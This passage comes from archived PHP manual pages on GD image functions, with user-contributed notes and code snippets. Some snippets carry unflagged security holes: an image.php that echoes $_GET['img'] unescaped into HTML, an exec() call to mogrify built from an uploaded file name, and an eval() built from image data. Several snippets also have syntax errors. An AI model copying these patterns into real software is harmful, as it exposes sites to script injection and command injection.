        $ret .= ',height='.$size[1].'\')">';
        $ret .= '<img src="'.$file.'" width="'.floor($size[0]/$k).'" height="'.floor($size[1]/$k).'" border="0" alt="View full-size image"></a>';
    }

    return $ret;
}
?>

Here is the code of 'image.php':

<html>
<head>
<title>Image</title>
</head>
<body leftmargin="0" topmargin="0">
<?php echo ( is_file($_GET['img']) ) ? '<a href="#" onClick="window.close();"><img src="'.$_GET['img'].'" border="0" alt="Close window"></a>' : 'Invalid image filename, or no filename entered. <a href="#" onClick="window.close();">Close window</a>.' ?>
</body>
</html>
simms 03-Sep-2003 09:47
here's a nice way of resizing user-uploaded files on the fly, using ImageMagick (on linux), but no GD:

<?

if( $image_info = getimagesize( "/upload_dir/" . $uploadName ) )
{
  if( $image_info[ 0 ] > $defaultImgWidth )
  {
    exec( "mogrify -geometry " . $defaultImgWidth . " " . "/upload_dir/" . $uploadName . " &" );
  }
}

?>

$defaultImgWidth would be the target width of the image -- note that the code above resizes the image without distorting its original proportions, and only if it is wider than $defaultImgWidth.
the ImageMagick syntax used above ("mogrify ..") overwrites the original file ($uploadName) with the resized image.
ten tod xmg ta rotanimrev (reverse it) 01-Sep-2003 10:30
An additional note to "tightcode_nosp@m_hotmail":

If that doesn't work try this instead:

<?
      $img = imagecreatefromjpeg ($filename);
      $x = imagesx ($img);
      $y = imagesy ($img);
      imagedestroy ($img);
?>

Though keep in mind that this consumes lots of CPU. So if you're doing something like creating a page of thumbnails this is considerably slower.

So what you can do is use getimagesize() and check if
- the width and height are empty strings ("")
- and those two values aren't too high

Both indicate that getimagesize() didn't work properly. The latter may happen if getimagesize() thought that it recognized the format and therefore the size properly. I mean if you're looking at pictures that you know are max. 1024x768 and getimagesize() returns a width of e.g. 20234 then it's obvious that something went wrong. In that case use the code mentioned above. Of course if getimagesize() returned small values that are wrong you still get the wrong size. So check your pictures and priorities first.

So all of this could look like as follows:

<?
    $picinfo = @getimagesize ($filename);
    if ($picinfo !== false) {
      $x = $picinfo [0];
      $y = $picinfo [1];
    }

    // change this according the picture resolutions you're expecting
    if ($x > 2000 || $y > 2000) $x = $y = "";

    if ($x == "") {
      $img = imagecreatefromjpeg ($filename);
      $x = imagesx ($img);
      $y = imagesy ($img);
      imagedestroy ($img);
    }
?>

Note: fix syntax stuff if there's an error as I compiled this example from a few places.

If you don't care about the huge load on your CPU or you have to rely on the proper size use the snippet noted at the beginning only.
justin at webtekconcepts dot com 15-Aug-2003 01:27
For those that like to go the dynamic thumbnail route, I've found that you can get warnings with getimagesize() after your loop through more than 3 to 4 images. In my case I needed 12 images on each page.

Use usleep() in your loop just before you run getimagesize() otherwise you'll end up with warnings, big images and a broken page. Using usleep() lets the server recoup for X milliseconds so it will accept connections again for the image size.

I've found that usleep(1500) is the best for my situation. This barely slows the page down and allows for getimagesize() to work 100% of the time for me.
webmaster AT theparadox DOT org 30-May-2003 05:16
I figured others have wanted to scale an image to a particular height or width while preserving the height/width ratio. So here are the functions I wrote to accomplish this. Hopefully they'll save somebody else the five minutes it took to write these.

You give the filename and the dimension you want to use, and these functions return the opposite dimension:

function scale_to_height ($filename, $targetheight) {
   $size = getimagesize($filename);
   $targetwidth = $targetheight * ($size[0] / $size[1]);
   return $targetwidth;
}

function scale_to_width ($filename, $targetwidth) {
   $size = getimagesize($filename);
   $targetheight = $targetwidth * ($size[1] / $size[0]);
   return $targetheight;
}
robertks at hotmail dot com 05-Mar-2003 09:12
For those of you trying to derive the dimensions of a video file (e.g. Video for Windows AVI, Quicktime MOV, MPEG MPG, Windows Media Video WMV or ASF, etc.), you will find the getid3 library to be indispensible.  Found at http://getid3.sourceforge.net, here's an example of its use in a script:

include_once('getid3.php'); // or wherever you actually put the getid3 scripts
$file_location = './myvideo.avi';
$file_info = GetAllFileInfo($file_location) // calls getid3 function
$file_width = $file_info['video']['resolution_x'];
$file_height = $file_info['video']['resolution_y'];

You can then use your OBJECT and EMBED tags in HTML to put the video into a web page, and make the PHP template independent of the size parameters of the particular video it happens to be loading.  (Just remember to add pixels to the video height to accomodate the controller of the embedded player: typically, 16 pixels for Quicktime, 46 pixels for Windows Media Player 6, and 64 pixels for Windows Media Player 7.
mogster at boomdesign dot no 09-Mar-2002 10:58
Really useful info from webmasterb@feartheclown.com and you others :-)
Saved my butt...
Here's a build on that, with proportional resizing of the image-upload ($newpic) to a fixed value ($maxwidth):
$maxwidth = "350";
$imagehw = GetImageSize($newpic);
$imagewidth = $imagehw[0];
$imageheight = $imagehw[1];
$imgorig = $imagewidth;
if ($imagewidth > $maxwidth {
  $imageprop=($maxwidth*100)/$imagewidth;
  $imagevsize= ($imageheight*$imageprop)/100 ;
  $imagewidth=$maxwidth;
  $imageheight=ceil($imagevsize);
}
Of course this does not resize the image itself, but returns values one may use in html-code to restrain users from killing your design...

knutm
gd_info
image_type_to_extension
GD and Image Functions


Get file extension for image type

getimagesize
image_type_to_mime_type
GD and Image Functions
PHP Manual

image_type_to_extension

(PHP 5)

image_type_to_extension — Get file extension for image type

Description

string image_type_to_extension ( int $imagetype [, bool $include_dot = TRUE ] )

Returns the extension for the given IMAGETYPE_XXX constant.

Parameters

imagetype

One of the IMAGETYPE_XXX constant.

include_dot

Whether to prepend a dot to the extension or not. Default to TRUE.

Return Values

A string with the extension corresponding to the given image type.

Examples

Example #1 image_type_to_extension() example

<?php
// Create image instance
$im = imagecreatetruecolor(100, 100);

// Save image
imagepng($im, './test' . image_type_to_extension(IMAGETYPE_PNG));
imagedestroy($im);
?>

Notes

Note:

This function does not require the GD image library.

User Contributed Notes

mew at world dot org 07-Dec-2007 11:26
There is no need to over complicated folks.

<?php

if ( !function_exists('image_type_to_extension') ) {

    function image_type_to_extension ($type, $dot = true)
    {
        $e = array ( 1 => 'gif', 'jpeg', 'png', 'swf', 'psd', 'bmp'
            'tiff', 'tiff', 'jpc', 'jp2', 'jpf', 'jb2', 'swc',
            'aiff', 'wbmp', 'xbm');

        // We are expecting an integer.
        $type = (int)$type;
        if (!$type) {
            trigger_error( '...come up with an error here...', E_USER_NOTICE );
            return null;
        }

        if ( !isset($e[$type]) ) {
            trigger_error( '...come up with an error here...' E_USER_NOTICE );
            return null;
        }

        return ($dot ? '.' : '') . $e[$type];
    }

}

if ( !function_exists('image_type_to_mime_type') ) {

    function image_type_to_mime_type ($type)
    {
        $m = array ( 1 => 'image/gif', 'image/jpeg', 'image/png',
            'application/x-shockwave-flash', 'image/psd', 'image/bmp',
            'image/tiff', 'image/tiff', 'application/octet-stream',
            'image/jp2', 'application/octet-stream', 'application/octet-stream',
            'application/x-shockwave-flash', 'image/iff', 'image/vnd.wap.wbmp', 'image/xbm');

        // We are expecting an integer.
        $type = (int)$type;
        if (!$type) {
            trigger_error( '...come up with an error here...', E_USER_NOTICE );
            return null;
        }

        if ( !isset($m[$type]) ) {
            trigger_error( '...come up with an error here...' E_USER_NOTICE );
            return null;
        }

        return $m[$type];
    }

}

?>
Chris 25-Aug-2007 07:17
- Function was added in PHP 5.2, not PHP 5 (you would assume this means 5.0)
- Function returns .jpeg, not .jpg
Ian Paul Short chukdocsAtHotmailDotCom 28-Sep-2006 09:10
To: mail at spybreak dot de

I noted  your solution was for mime_type_to_extension which is flawed because the MIME types to extensions are not unique. See my example to consider what I have observed.

This function performs image type or mime type to extension. With limitation it will not attempt to handle duplicated MIME types. NOT DEFINITIVE!
<?php
    if(!function_exists('image_type_to_extension')){

        $extension;

        function image_type_or_mime_type_to_extension($image_type, $include_dot) {
            define ("INVALID_IMAGETYPE", '');

            $extension = INVALID_IMAGETYPE;            /// Default return value for invalid input

            $image_type_identifiers = array (                                                                ### These values correspond to the IMAGETYPE constants
                    array (IMAGETYPE_GIF         => 'gif',     "mime_type" => 'image/gif'),                        ###  1 = GIF
                    array (IMAGETYPE_JPEG        => 'jpg',     "mime_type" => 'image/jpeg'),                        ###  2 = JPG
                    array (IMAGETYPE_PNG        => 'png',     "mime_type" => 'image/png'),                        ###  3 = PNG
                    array (IMAGETYPE_SWF        => 'swf',     "mime_type" => 'application/x-shockwave-flash'),    ###  4 = SWF  // A. Duplicated MIME type
                    array (IMAGETYPE_PSD        => 'psd',     "mime_type" => 'image/psd'),                        ###  5 = PSD
                    array (IMAGETYPE_BMP        => 'bmp',     "mime_type" => 'image/bmp'),                        ###  6 = BMP
                    array (IMAGETYPE_TIFF_II    => 'tiff',     "mime_type" => 'image/tiff'),                        ###  7 = TIFF (intel byte order)
                    array (IMAGETYPE_TIFF_MM    => 'tiff',     "mime_type" => 'image/tiff'),                        ###  8 = TIFF (motorola byte order)
                    array (IMAGETYPE_JPC        => 'jpc',     "mime_type" => 'application/octet-stream'),            ###  9 = JPC  // B. Duplicated MIME type
                    array (IMAGETYPE_JP2        => 'jp2',     "mime_type" => 'image/jp2'),                        ### 10 = JP2
                    array (IMAGETYPE_JPX        => 'jpf',     "mime_type" => 'application/octet-stream'),            ### 11 = JPX  // B. Duplicated MIME type
                    array (IMAGETYPE_JB2        => 'jb2',     "mime_type" => 'application/octet-stream'),            ### 12 = JB2  // B. Duplicated MIME type
                    array (IMAGETYPE_SWC        => 'swc',     "mime_type" => 'application/x-shockwave-flash'),    ### 13 = SWC  // A. Duplicated MIME type
                    array (IMAGETYPE_IFF        => 'aiff',     "mime_type" => 'image/iff'),                        ### 14 = IFF
                    array (IMAGETYPE_WBMP        => 'wbmp',     "mime_type" => 'image/vnd.wap.wbmp'),                ### 15 = WBMP
                    array (IMAGETYPE_XBM        => 'xbm',     "mime_type" => 'image/xbm')                            ### 16 = XBM
            );

            if((is_int($image_type)) AND (IMAGETYPE_GIF <= $image_type) AND (IMAGETYPE_XBM >= $image_type)){
                $extension = $image_type_identifiers[$image_type-1]; // -1 because $image_type_identifiers array starts at [0]
                $extension = $extension[$image_type];
            }
            elseif(is_string($image_type) AND (($image_type != 'application/x-shockwave-flash') OR ($image_type != 'application/octet-stream'))){

                $extension =  match_mime_type_to_extension($image_type, $image_type_identifiers);
            }
            else
            {
                $extension = INVALID_IMAGETYPE;
            }

               if(is_bool($include_dot)){

                   if((false != $include_dot) AND (INVALID_IMAGETYPE != $extension)){
                       $extension = '.' . $extension;
                   }
               }
               else
               {
                   $extension = INVALID_IMAGETYPE;
               }

           return $extension;

           }
    }

    function match_mime_type_to_extension($image_type, $image_type_identifiers){
        // Return from loop on a match
        foreach($image_type_identifiers as $_key_outer_loop => $_val_outer_loop){
            foreach($_val_outer_loop as $_key => $_val){
                if(is_int ($_key)){             // Keep record of extension for mime check
                    $extension = $_val;
                }
                if($_key == 'mime_type'){
                    if($_val === $image_type){    // Found match no need to continue looping
                        return $extension;        ### Return
                    }
                }
            }
        }
        // Compared all values without match
        return $extension = INVALID_IMAGETYPE;
    }

    $extension = image_type_or_mime_type_to_extension($image_type, $include_dot);
     return $extension;
}
?>
Ian Paul Short chukdocsAtHotmailDotCom 28-Sep-2006 07:55
2006-09-29

A few notes about some contributions on this page.

1. It seemed to me that on the face it of all of the offerings to emulate "image_type_to_extension" function fell short of the mark in one way or another (See my comments below). That's why I wrote my own and submitted to this page below. In respect of my work any comments, bugs noted or improvements would be gratefully received.

2. Avoid using the Switch statement in an unconventional method to "Break" (I note the use of the return statement!). Also even if it does nothing at the inception of our code - Still put in the default case (It lets others realise that a default is not required or at worst forgotton.

3. In an environment that is under your control the risk of an error by determining the content by its extension or MIME type may seem an attractive solution to a problem. However, in the real world there's no guarantee that a MIME type or file extension is correct for it's associated file.

Consider using functions to get the image type:
      getimagesize or (This is available without GD)
      exif_imagetype

4. There's more to coding than just putting something together to do a job!!! But whatever is done is worthwhile - Hence expletives have no place in this forum!!

5. The idea from "oridan at hotmail dot com" is a very slick idea. I will be taking a closer look at this for my own project.
Ian Paul Short 28-Sep-2006 04:40
2006-09-29 Author: Ian Paul Short (chukdocs at hotmail dot com)

For reasons I have yet to determine the function “image_type_to_extension” is not available to both PHP 5.1.4 on my local host running under Windows XP or on my remote host running under Linux. Has anyone else had this problem? If so kindly post your findings here please.

In the meantime I needed a workaround and with many thanks to the previous contributors on this page - I took bits and pieces developed the following function to emulate the function image_type_to_extension:

    if(!function_exists('image_type_to_extension')){    ### Include this for graceful tranisition to using
                                                        ### PHP's equivalent function when it's available in the box

        function image_type_to_extension($image_type, $include_dot){

            // Assign definitions and intialise variables
            define ("INVALID_IMAGETYPE", '');            // Empty string
            $extension = INVALID_IMAGETYPE;             // Return this (empty string) if "$image_type or $include_dot" do not contain legal values

            if((is_int($image_type)) AND (is_bool($include_dot)) AND (IMAGETYPE_GIF <= $image_type) AND (IMAGETYPE_XBM >= $image_type)){ // Check input data are legal

                $image_type_extension = array (            ### These integer values correspond to the the respective IMAGETYPE constants
                    IMAGETYPE_GIF         => 'gif',        ###  1 = GIF
                    IMAGETYPE_JPEG         => 'jpg',        ###  2 = JPG
                    IMAGETYPE_PNG         => 'png',        ###  3 = PNG
                    IMAGETYPE_SWF         => 'swf',        ###  4 = SWF
                    IMAGETYPE_PSD         => 'psd',        ###  5 = PSD
                    IMAGETYPE_BMP         => 'bmp',        ###  6 = BMP
                    IMAGETYPE_TIFF_II     => 'tiff',        ###  7 = TIFF     (intel byte order)
                    IMAGETYPE_TIFF_MM     => 'tiff',        ###  8 = TIFF     (motorola byte order)
                    IMAGETYPE_JPC         => 'jpc',        ###  9 = JPC
                    IMAGETYPE_JP2         => 'jp2',        ### 10 = JP2
                    IMAGETYPE_JPX         => 'jpf',        ### 11 = JPX     Yes! jpf extension is correct for JPX image type
                    IMAGETYPE_JB2         => 'jb2',        ### 12 = JB2
                    IMAGETYPE_SWC         => 'swc',        ### 13 = SWC
                    IMAGETYPE_IFF         => 'aiff',        ### 14 = IFF
                    IMAGETYPE_WBMP         => 'wbmp',        ### 15 = WBMP
                    IMAGETYPE_XBM         => 'xbm'        ### 16 = XBM
                );

                $extension = $image_type_extension[$image_type]; // Get extension by using array as a look up table using $image_type as key

                if($include_dot != false) $extension = '.' . $extension; // If $include_dot is true prefix a dot to extension
               }

### Limitation - No user friendly error handler
/*
            else
               {
                   ### Put your error handler here
               }
*/
        return $extension;
        }
    }
discerer at _REMOVETHIS_yahoo dot co dot uk 08-Jan-2006 07:23
at aleksandrs note about mime checking

i really hope that piece of code isn't used as some kind of security check for uploading (excluding those which have no value in the switch-case ie), as the mime type in uploading could be very easily changed

and btw if you want to get the extension why not just use substr to get all the text after the last dot in the filename to be really sure that the file is really what the mime says?

this could be done easily with
<?php
$filename = "roflhax.pwnage.jpeg";
if (($pos = strrpos($filename, ".")) === FALSE)
  echo "Error - file doesn't have a dot... weird.";
else {
  $extension = substr($filename, $pos + 1);
  echo $extension; // will echo "jpeg"
}
?>
(or you could use pathinfo() or a regex :))
aleksandrs dot bogdanovs at gmail dot com 23-Dec-2005 05:44
When I was writing a script for my photo website, it was necessary to write such function, which can get the extension of uploaded file (image), so the function is:

<?php
function get_extension($imagetype)
   {
       if(empty($imagetype)) return false;
       switch($imagetype)
       {
           case 'image/bmp': return '.bmp';
           case 'image/cis-cod': return '.cod';
           case 'image/gif': return '.gif';
           case 'image/ief': return '.ief';
           case 'image/jpeg': return '.jpg';
           case 'image/pipeg': return '.jfif';
           case 'image/tiff': return '.tif';
           case 'image/x-cmu-raster': return '.ras';
           case 'image/x-cmx': return '.cmx';
           case 'image/x-icon': return '.ico';
           case 'image/x-portable-anymap': return '.pnm';
           case 'image/x-portable-bitmap': return '.pbm';
           case 'image/x-portable-graymap': return '.pgm';
           case 'image/x-portable-pixmap': return '.ppm';
           case 'image/x-rgb': return '.rgb';
           case 'image/x-xbitmap': return '.xbm';
           case 'image/x-xpixmap': return '.xpm';
           case 'image/x-xwindowdump': return '.xwd';
           case 'image/png': return '.png';
           case 'image/x-jps': return '.jps';
           case 'image/x-freehand': return '.fh';
           default: return false;
       }
   }
?>

It's useful for those, who upload files on server.
oridan at hotmail dot com 11-Nov-2005 10:06
i used your code in the following to open different types of files depending on their 'type' (or rather, extension).  the eval simply creates
<?
// make sure you initialize $filename as the path to the image you want to load/create

   list(,,$type) = getimagesize($filename);
   $type = image_type_to_extension($type);
   eval("global \$filename; \$source = imagecreatefrom$type(\$filename);");
   global $source;
?>

$source is then the var you can play with.  saved me a big switch statement calling different "imagecreatefromjpg"/"imagecreatefromgif" functions just to do the one simple task.... open an image of varying types.
robe at amd dot co dot at 28-Sep-2005 12:31
neil: your version fails to make sense for me
spybreak.de guy:

a) you left out BMP
b) you fucked up the order of the extension in the mid of the listing. if this was changed in the getimagesize function during php versions, I'm sorry. Otherwise: WHY?!
c) the include_dot stuff is the worst abuse of function arguments I've ever seen. Shame on you.

Here's a unfucked, working version:

<?
if(!function_exists('image_type_to_extension'))
{
   function image_type_to_extension($imagetype)
   {
       if(empty($imagetype)) return false;
       switch($imagetype)
       {
           case IMAGETYPE_GIF    : return 'gif';
           case IMAGETYPE_JPEG    : return 'jpg';
           case IMAGETYPE_PNG    : return 'png';
           case IMAGETYPE_SWF    : return 'swf';
           case IMAGETYPE_PSD    : return 'psd';
           case IMAGETYPE_BMP    : return 'bmp';
           case IMAGETYPE_TIFF_II : return 'tiff';
           case IMAGETYPE_TIFF_MM : return 'tiff';
           case IMAGETYPE_JPC    : return 'jpc';
           case IMAGETYPE_JP2    : return 'jp2';
           case IMAGETYPE_JPX    : return 'jpf';
           case IMAGETYPE_JB2    : return 'jb2';
           case IMAGETYPE_SWC    : return 'swc';
           case IMAGETYPE_IFF    : return 'aiff';
           case IMAGETYPE_WBMP    : return 'wbmp';
           case IMAGETYPE_XBM    : return 'xbm';
           default                : return false;
       }
   }
}
?>
neil at g4s dot org 21-Sep-2005 10:24
refining the homebrew method a little further, i wound up with this version. note that i had to change the case statements from previous version to include call to image_type_to_mime_type()
<?php
public static function imageTypeToExtension($imageType, $includeDot = false) {
        $dot = $includeDot ? '.' : '';
        $ext = false;
       if(!empty($imageType)) {
          switch($imageType) {
              case image_type_to_mime_type(IMAGETYPE_GIF)    : $ext = $dot.'gif'; break;
              case image_type_to_mime_type(IMAGETYPE_JPEG)    : $ext = $dot.'jpg'; break;
              case image_type_to_mime_type(IMAGETYPE_PNG)    : $ext = $dot.'png'; break;
              case image_type_to_mime_type(IMAGETYPE_SWF)    : $ext = $dot.'swf'; break;
              case image_type_to_mime_type(IMAGETYPE_PSD)    : $ext = $dot.'psd'; break;
              case image_type_to_mime_type(IMAGETYPE_WBMP)    : $ext = $dot.'wbmp'; break;
              case image_type_to_mime_type(IMAGETYPE_XBM)    : $ext = $dot.'xbm'; break;
              case image_type_to_mime_type(IMAGETYPE_TIFF_II) : $ext = $dot.'tiff'; break;
              case image_type_to_mime_type(IMAGETYPE_TIFF_MM) : $ext = $dot.'tiff'; break;
              case image_type_to_mime_type(IMAGETYPE_IFF)    : $ext = $dot.'aiff'; break;
              case image_type_to_mime_type(IMAGETYPE_JB2)    : $ext = $dot.'jb2'; break;
              case image_type_to_mime_type(IMAGETYPE_JPC)    : $ext = $dot.'jpc'; break;
              case image_type_to_mime_type(IMAGETYPE_JP2)    : $ext = $dot.'jp2'; break;
              case image_type_to_mime_type(IMAGETYPE_JPX)   : $ext = $dot.'jpf'; break;
              case image_type_to_mime_type(IMAGETYPE_SWC)    : $ext = $dot.'swc'; break;
          }
   }
   return $ext;
  }
?>
19-Apr-2005 05:11
Just an improvement/bugfix for the function below:
<?php
$dot = $include_dot ? $dot.'' : '';
//surely what was meant is....:
$dot = $include_dot ? '.' : '';
?>

Because otherwise $dot always will be empty.....
mail at spybreak dot de 14-Aug-2004 06:12
In case your PHP doesn't have this function, you can use this:
<?

if(!function_exists('image_type_to_extension'))
{
    function image_type_to_extension($imagetype,$include_dot=true)
    {
        if(empty($imagetype)) return false;
        $dot = $include_dot ? $dot.'' : '';
        switch($imagetype)
        {
            case IMAGETYPE_GIF     : return $dot.'gif';
            case IMAGETYPE_JPEG    : return $dot.'jpg';
            case IMAGETYPE_PNG     : return $dot.'png';
            case IMAGETYPE_SWF     : return $dot.'swf';
            case IMAGETYPE_PSD     : return $dot.'psd';
            case IMAGETYPE_WBMP    : return $dot.'wbmp';
            case IMAGETYPE_XBM     : return $dot.'xbm';
            case IMAGETYPE_TIFF_II : return $dot.'tiff';
            case IMAGETYPE_TIFF_MM : return $dot.'tiff';
            case IMAGETYPE_IFF     : return $dot.'aiff';
            case IMAGETYPE_JB2     : return $dot.'jb2';
            case IMAGETYPE_JPC     : return $dot.'jpc';
            case IMAGETYPE_JP2     : return $dot.'jp2';
            case IMAGETYPE_JPX     : return $dot.'jpf';
            case IMAGETYPE_SWC     : return $dot.'swc';
            default                : return false;
        }
    }
}
?>
getimagesize
image_type_to_mime_type
GD and Image Functions


Get Mime-Type for image-type returned by getimagesize, exif_read_data, exif_thumbnail, exif_imagetype

image_type_to_extension
image2wbmp
GD and Image Functions
PHP Manual

image_type_to_mime_type

(PHP 4 >= 4.3.0, PHP 5)

image_type_to_mime_type — Get Mime-Type for image-type returned by getimagesize, exif_read_data, exif_thumbnail, exif_imagetype

Description

string image_type_to_mime_type ( int $imagetype )

The image_type_to_mime_type() function will determine the Mime-Type for an IMAGETYPE constant.

Parameters

imagetype

One of the IMAGETYPE_XXX constants.

Return Values

The returned values are as follows

Returned values Constants
imagetype | Returned value
IMAGETYPE_GIF | image/gif
IMAGETYPE_JPEG | image/jpeg
IMAGETYPE_PNG | image/png
IMAGETYPE_SWF | application/x-shockwave-flash
IMAGETYPE_PSD | image/psd
IMAGETYPE_BMP | image/bmp
IMAGETYPE_TIFF_II (intel byte order) | image/tiff
IMAGETYPE_TIFF_MM (motorola byte order) | image/tiff
IMAGETYPE_JPC | application/octet-stream
IMAGETYPE_JP2 | image/jp2
IMAGETYPE_JPX | application/octet-stream
IMAGETYPE_JB2 | application/octet-stream
IMAGETYPE_SWC | application/x-shockwave-flash
IMAGETYPE_IFF | image/iff
IMAGETYPE_WBMP | image/vnd.wap.wbmp
IMAGETYPE_XBM | image/xbm
IMAGETYPE_ICO | image/vnd.microsoft.icon

Examples

Example #1 image_type_to_mime_type() example

<?php
header("Content-type: " . image_type_to_mime_type(IMAGETYPE_PNG));
?>

Notes

Note:

This function does not require the GD image library.

See Also

  • getimagesize() - Get the size of an image
  • exif_imagetype() - Determine the type of an image
  • exif_read_data() - Reads the EXIF headers from JPEG or TIFF
  • exif_thumbnail() - Retrieve the embedded thumbnail of a TIFF or JPEG image

User Contributed Notes

benshelock at gmail dot com 09-Mar-2009 11:08
I was looking to detect the format of images, Im not sure if this is the best way but it works for me.

<?php
$filename = 'http://static.php.net/www.php.net/images/php.gif';
$size = getimagesize($filename);

switch ($size['mime']) {
    case "image/gif":
        echo "Image is a gif";
        break;
    case "image/jpeg":
        echo "Image is a jpeg";
        break;
    case "image/png":
        echo "Image is a png";
        break;
    case "image/bmp":
        echo "Image is a bmp";
        break;
}
?>
aidan at php dot net 11-Sep-2004 01:04
This functionality is now implemented in the PEAR package PHP_Compat.

More information about using this function without upgrading your version of PHP can be found on the below link:

http://pear.php.net/package/PHP_Compat
image_type_to_extension
image2wbmp
GD and Image Functions


Output image to browser or file

image_type_to_mime_type
imagealphablending
GD and Image Functions
PHP Manual

image2wbmp

(PHP 4 >= 4.0.5, PHP 5)

image2wbmp — Output image to browser or file

Description

bool image2wbmp ( resource $image [, string $filename [, int $threshold ]] )

image2wbmp() outputs or save a WBMP version of the given image.

Parameters

image

An image resource, returned by one of the image creation functions, such as imagecreatetruecolor().

filename

Path to the saved file. If not given, the raw image stream will be outputted directly.

threshold

Threshold value, between 0 and 255 (inclusive).

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 image2wbmp() example

<?php
$file = 'php.png';
$image = imagecreatefrompng($file);

header('Content-Type: ' . image_type_to_mime_type(IMAGETYPE_WBMP));
image2wbmp($image); // output the stream directly
imagedestroy($image);
?>

Notes

Note:

WBMP support is only available if PHP was compiled against GD-1.8 or later.

See Also

  • imagewbmp() - Output image to browser or file

User Contributed Notes

There are no user contributed notes for this page.
image_type_to_mime_type
imagealphablending
GD and Image Functions


Set the blending mode for an image

image2wbmp
imageantialias
GD and Image Functions
PHP Manual

imagealphablending

(PHP 4 >= 4.0.6, PHP 5)

imagealphablending — Set the blending mode for an image

Description

bool imagealphablending ( resource $image , bool $blendmode )

imagealphablending() allows for two different modes of drawing on truecolor images. In blending mode, the alpha channel component of the color supplied to all drawing function, such as imagesetpixel() determines how much of the underlying color should be allowed to shine through. As a result, gd automatically blends the existing color at that point with the drawing color, and stores the result in the image. The resulting pixel is opaque. In non-blending mode, the drawing color is copied literally with its alpha channel information, replacing the destination pixel. Blending mode is not available when drawing on palette images.

Parameters

image

An image resource, returned by one of the image creation functions, such as imagecreatetruecolor().

blendmode

Whether to enable the blending mode or not. On true color images the default value is TRUE otherwise the default value is FALSE

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 imagealphablending() usage example

<?php
// Create image
$im = imagecreatetruecolor(100, 100);

// Set alphablending to on
imagealphablending($im, true);

// Draw a square
imagefilledrectangle($im, 30, 30, 70, 70, imagecolorallocate($im, 255, 0, 0));

// Output
header('Content-type: image/png');

imagepng($im);
imagedestroy($im);
?>

Notes

Note: This function requires GD 2.0.1 or later (2.0.28 or later is recommended).

User Contributed Notes

klaproth at creative-mindworks dot de 18-May-2008 10:57
I have written a function that takes an image as parameter and returns the same image with a reflection effect (often seen in WEB 2.0 sites). I have not performance-tested this with large image files, for thumbnails it works fine (requires PHP 4.3.2 or above, or PHP5).

<?php
function imagereflection($src_img) {
  $src_height = imagesy($src_img);
  $src_width = imagesx($src_img);
  $dest_height = $src_height + ($src_height / 2);
  $dest_width = $src_width;

  $reflected = imagecreatetruecolor($dest_width, $dest_height);
  imagealphablending($reflected, false);
  imagesavealpha($reflected, true);

  imagecopy($reflected, $src_img, 0, 0, 0, 0, $src_width, $src_height);
  $reflection_height = $src_height / 2;
  $alpha_step = 80 / $reflection_height;
  for ($y = 1; $y <= $reflection_height; $y++) {
    for ($x = 0; $x < $dest_width; $x++) {
      // copy pixel from x / $src_height - y to x / $src_height + y
      $rgba = imagecolorat($src_img, $x, $src_height - $y);
      $alpha = ($rgba & 0x7F000000) >> 24;
      $alpha =  max($alpha, 47 + ($y * $alpha_step));
      $rgba = imagecolorsforindex($src_img, $rgba);
      $rgba = imagecolorallocatealpha($reflected, $rgba['red'], $rgba['green'], $rgba['blue'], $alpha);
      imagesetpixel($reflected, $x, $src_height + $y - 1, $rgba);
    }
  }

  return $reflected;
}
?>

This is rather hot-coded. You could go on and extract some of the values as parameters (80 is the transparency start value, $height / 2 is the reflection area...).

Cheers,
Christian
jeppe dot dyrby at gmail dot com 14-Aug-2007 07:34
I have create a little function for putting a watermark on any picture.
Watermark can be png, with transparency, and the watermark can be placed anywhere on the image, using simple strings such as 'bottom-left', or 'center'.

<?
function imagelogo (&$dst_image, $src_image, $dst_w, $dst_h, $src_w, $src_h, $position='bottom-left') {
    imagealphablending($dst_image,true);
    imagealphablending($src_image,true);
    if ($position == 'random') {
        $position = rand(1,8);
    }
    switch ($position) {
        case 'top-right':
        case 'right-top':
        case 1:
            imagecopy($dst_image, $src_image, ($dst_w-$src_w), 0, 0, 0, $src_w, $src_h);
        break;
        case 'top-left':
        case 'left-top':
        case 2:
            imagecopy($dst_image, $src_image, 0, 0, 0, 0, $src_w, $src_h);
        break;
        case 'bottom-right':
        case 'right-bottom':
        case 3:
            imagecopy($dst_image, $src_image, ($dst_w-$src_w), ($dst_h-$src_h), 0, 0, $src_w, $src_h);
        break;
        case 'bottom-left':
        case 'left-bottom':
        case 4:
            imagecopy($dst_image, $src_image, 0 , ($dst_h-$src_h), 0, 0, $src_w, $src_h);
        break;
        case 'center':
        case 5:
            imagecopy($dst_image, $src_image, (($dst_w/2)-($src_w/2)), (($dst_h/2)-($src_h/2)), 0, 0, $src_w, $src_h);
        break;
        case 'top':
        case 6:
            imagecopy($dst_image, $src_image, (($dst_w/2)-($src_w/2)), 0, 0, 0, $src_w, $src_h);
        break;
        case 'bottom':
        case 7:
            imagecopy($dst_image, $src_image, (($dst_w/2)-($src_w/2)), ($dst_h-$src_h), 0, 0, $src_w, $src_h);
        break;
        case 'left':
        case 8:
            imagecopy($dst_image, $src_image, 0, (($dst_h/2)-($src_h/2)), 0, 0, $src_w, $src_h);
        break;
        case 'right':
        case 9:
            imagecopy($dst_image, $src_image, ($dst_w-$src_w), (($dst_h/2)-($src_h/2)), 0, 0, $src_w, $src_h);
        break;
    }
}

// example:

imagelogo($image, $watermark, imagesx($image), imagesy($image), imagesx($watermark), imagesy($watermark), 'random');
?>
JAYPEEsorenATgeeMail 14-Dec-2006 01:52
I rewrote the code given below to skip calculations and pixel setting when not needed (full opaque or full transparent pixels), as the content of my overlays is generally mostly transparent. Reduced processing time from ~0.17s to ~0.06s on 216x145px images.

function alphaOverlay($destImg, $overlayImg, $imgW, $imgH)
{
    for($y=0;$y<$imgH;$y++)
    {
        for($x=0;$x<$imgW;$x++)
        {
            $ovrARGB = imagecolorat($overlayImg, $x, $y);
            $ovrA = ($ovrARGB >> 24) << 1;
            $ovrR = $ovrARGB >> 16 & 0xFF;
            $ovrG = $ovrARGB >> 8 & 0xFF;
            $ovrB = $ovrARGB & 0xFF;

            $change = false;
            if($ovrA == 0)
            {
                $dstR = $ovrR;
                $dstG = $ovrG;
                $dstB = $ovrB;
                $change = true;
            }
            elseif($ovrA < 254)
            {
                $dstARGB = imagecolorat($destImg, $x, $y);
                $dstR = $dstARGB >> 16 & 0xFF;
                $dstG = $dstARGB >> 8 & 0xFF;
                $dstB = $dstARGB & 0xFF;

                $dstR = (($ovrR * (0xFF-$ovrA)) >> 8) + (($dstR * $ovrA) >> 8);
